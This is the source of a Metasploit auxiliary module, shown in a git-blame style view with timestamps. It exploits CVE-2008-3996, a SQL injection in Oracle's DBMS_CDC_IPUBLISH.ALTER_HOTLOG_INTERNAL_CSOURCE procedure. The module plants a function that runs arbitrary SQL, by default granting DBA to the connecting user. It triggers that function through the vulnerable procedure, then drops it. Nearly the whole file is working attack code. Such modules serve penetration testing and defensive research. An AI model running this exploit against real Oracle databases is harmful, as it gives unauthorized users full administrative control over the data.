2009-07-28 13:43:37 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-07-28 13:43:37 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::ORACLE
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE',
|
|
|
|
'Description' => %q{
|
|
|
|
The module exploits an sql injection flaw in the ALTER_HOTLOG_INTERNAL_CSOURCE
|
|
|
|
procedure of the PL/SQL package DBMS_CDC_IPUBLISH. Any user with execute privilege
|
|
|
|
on the vulnerable package can exploit this vulnerability. By default, users granted
|
|
|
|
EXECUTE_CATALOG_ROLE have the required privilege. Affected versions: Oracle Database
|
|
|
|
Server versions 10gR1, 10gR2 and 11gR1. Fixed with October 2008 CPU.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-3996' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '49321']
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 22 2008'))
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2009-07-28 13:43:37 +00:00
|
|
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
return if not check_dependencies
|
2010-03-24 19:02:38 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
function = "
|
|
|
|
CREATE OR REPLACE FUNCTION #{name}
|
|
|
|
RETURN VARCHAR2 AUTHID CURRENT_USER
|
|
|
|
IS
|
|
|
|
PRAGMA AUTONOMOUS_TRANSACTION;
|
|
|
|
BEGIN
|
|
|
|
EXECUTE IMMEDIATE '#{datastore['SQL']}';
|
|
|
|
COMMIT;
|
|
|
|
RETURN NULL;
|
|
|
|
END;"
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
package = "
|
|
|
|
BEGIN
|
|
|
|
SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE('''||'||user||'.#{name}||''');END;"
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
clean = "DROP FUNCTION #{name}"
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
print_status("Sending function...")
|
|
|
|
prepare_exec(function)
|
|
|
|
rescue => e
|
|
|
|
return
|
|
|
|
end
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Attempting sql injection on SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE...")
|
|
|
|
prepare_exec(package)
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Done! Removing function '#{name}'...")
|
|
|
|
prepare_exec(clean)
|
|
|
|
end
|
2009-07-28 13:43:37 +00:00
|
|
|
end
|